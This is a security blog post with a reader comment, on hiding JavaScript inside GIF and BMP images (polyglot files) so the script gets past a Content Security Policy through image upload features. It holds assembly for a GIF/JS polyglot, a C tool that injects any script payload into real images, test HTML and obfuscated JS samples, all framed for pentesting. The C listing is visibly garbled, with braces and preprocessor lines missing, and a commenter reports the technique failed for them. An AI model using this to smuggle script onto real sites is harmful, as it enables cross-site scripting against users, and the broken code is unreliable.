JS via Images

Recently I saw an awesome research by Ange Albertini in abusing a GIF file and injecting JS inside. You can download his code from here The following code is a custom made gif , yet abused by our JS payload.

; a hand-made GIF containing valid JavaScript code
; abusing header to start a JavaScript comment

; inspired by Saumil Shah's Deadly Pixels presentation

; Ange Albertini, BSD Licence 2013

WIDTH equ 10799 ; equivalent to 2f2a, which is '/*' in ASCII, thus starting an opening comment
HEIGTH equ 10 ; just to make it easier to spot

db 'GIF89a'
db 0 ; GCT
    db -1 ;  background color
    db 0 ; default aspect ratio
    ;db 0fch, 0feh, 0fch
    ;times COLORS db 0, 0, 0    
; no need of Graphic Control Extension
 ; db 21h, 0f9h
 ; db GCESIZE ; size
 ; gce_start:
 ;     db 0 ; transparent background
 ;     dw 0 ; delay for anim
 ;     db 0 ; other transparent
 ; GCESIZE equ $ - gce_start
 ;     db 0 ; end of GCE

db 02ch ; Image descriptor
    dw 0, 0 ; NW corner
    dw WIDTH, HEIGTH ; w/h of image
    db 0    ; color table

db 2 ; lzw size
;    db 00, 01, 04, 04
;    DATASIZE equ $ - data_start
db 0
db 3bh ; GIF terminator
; end of the GIF
db '*/'  ; closing the comment
db '=1;' ; creating a fake use of that GIF89a string

db 'confirm("Osanda");'

You can compile the code using yasm.
yasm –o image.gif code.asm

Once you give the source as the compiled gif it will be interpreted by the browser.

Can we inject into legit images? Yes we can inject into both gif and bmp images.
In gif images the header would be GIF87a, so if we add GIF87a/*image data*/=1;alert(2); it will be considered as a JS variable and the image data would be commented out, hence it will be nicely interpreted.

View post on imgur.com

The same can be applied to bmp images as well 🙂 BM/*image data*/=1;alert(2);
Here is a small application which I’ve written to inject JS into legit gif and bmp images.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>

#define MAX 500
Author: Osanda Malith Jayathissa
E-Mail: osanda[cat]unseen.is
Description: You can hide your JS payload inside a gif or bmp image.
Disclaimer: Author takes no responsibility of any damage you cause. 
            Use this for educational purposes only.
inject(char *payload, char *fname, char *format) {
   int src, dst;
   int firstTimeIn;
   char myPreviousChar;
   char myCurrentChar;
   char newFilename[MAX];

   strcpy(newFilename, fname);
   if (!strcmp(format, "gif")) strcat(newFilename, "_exploit.gif");
   else if (!strcmp(format, "bmp")) strcat(newFilename, "_exploit.bmp");
   else { printf("[-] Invalid File Format\n"); exit(0); }

#ifdef _WIN32
   src = open(fname, O_RDONLY | O_BINARY, 0);
   dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY | O_BINARY, S_IREAD | S_IWRITE);

#elif __unix__
   src = open(fname, O_RDONLY, 0);
   dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);

   firstTimeIn = 1;

   while (read(src, &myCurrentChar, 1)) {
      if (firstTimeIn == 1) {
         firstTimeIn = 0;
         myPreviousChar = myCurrentChar;
      } else {
         if (((myPreviousChar == 0x2A) && (myCurrentChar == 0x2F)) \
          || ((myPreviousChar == 0x2F) && (myCurrentChar == 0x2A))) {
            myPreviousChar = 0x00;
            myCurrentChar = 0x00;
         write(dst, &myPreviousChar, 1);
         myPreviousChar = myCurrentChar;

   write(dst, &myPreviousChar, 1);
   if(!strcmp(format, "gif")) lseek(dst, 6, SEEK_SET);
   else lseek(dst, 2, SEEK_SET);
   write(dst, "\x2F", 1);
   write(dst, "\x2A", 1);

#ifdef _WIN32
   dst = open(newFilename, O_WRONLY | O_APPEND | O_BINARY, 0);

#elif __unix__   
   dst = open(newFilename, O_WRONLY | O_APPEND, 0);

   write(dst, "\x2A", 1);
   write(dst, "\x2F", 1);
   write(dst, "\x3D", 1);
   write(dst, "\x31", 1);
   write(dst, "\x3B", 1);

   write(dst, payload, strlen(payload));

   write(dst, "\x3B", 1);

   printf("\n[+] Successfully written to %s\n", newFilename);

main(int argc, char *argv[]) {
   int i;
   char *fileName;
   char *format;
   char *payloadString;

   printf(" _____                   \n");
   printf("|     |_____ ___ ___ ___ \n");
   printf("|-   -|     | .'| . | -_|\n");
   printf("|_____|_|_|_|__,|_  |___|\n");
   printf("                |___|    \n");
   printf("\t _____         _ ___ _ _           \n");
   printf("\t|   __|_ _ ___| |   |_| |_ ___ ___ \n");
   printf("\t|   __|_'_| . | | | | |  _| -_|  _|\n");
   printf("\t|_____|_,_|  _|_|___|_|_| |___|_|  \n");
   printf("\t          |_|                      \n");
   printf("\n[~] Author: Osanda Malith Jayathissa\n[~] E-Mail: osanda[cat]unseen.is\n");

   if (argc != 7)  {
      printf("\n[-] Usage: %s -i <image file name> -f <gif or bmp> -p <payload string> \n", argv[0]);
      return 1;

   for (i = 1; i < argc; i++)  {
      if (!strcmp(argv[i], "-i")) fileName = argv[i+1];
      if (!strcmp(argv[i], "-f")) format = argv[i+1];
      if (!strcmp(argv[i], "-p")) payloadString = argv[i+1];     
   inject(payloadString, fileName, format);
   return 0;

cl image.c
./image –I yourimage.bmp –f bmp –p prompt\(1337\)

View post on imgur.com

Create a new HTML page to test this as

<img src=”yourimage.bmp_exploit.bmp”>
<script src=”yourimage.bmp_exploit.bmp”></script>

View post on imgur.com

Our payload is nicely placed at the end of image file like this

View post on imgur.com

You could always obfuscate the code 😉

var _0xf1cf=["\x6F\x73\x61\x6E\x64\x61"];alert(_0xf1cf[0]);
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d=k||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k)}}return p}('0(\'1\');',2,2,'alert|osanda'.split('|'),0,{}))

This might come handy when you are pentesting in scenarios where there is a Content Security Policy (CSP) which would deny you to load external sources and if the application has file upload features with a WYSIWYG editor, you could exploit this weakness in gif and bmp 🙂

I’d be very grateful to Dimitrios Kalemis for his continuous support in my journey into low level 🙂

Here is a short demo


8 thoughts on “JS via Images

  1. compiled this in VS2013 and it compiles and runs, created both a gif and bmp to test with, both display as images correctly but neither run as scripts on the page. Tested in latest IE and Chrome.

    Seems to look correct in the file as well, I see the end comment */ and then the =1, and then ;alert(1);, tried prompt and javascript:alert(1);, nothing seems to work.

Leave a Reply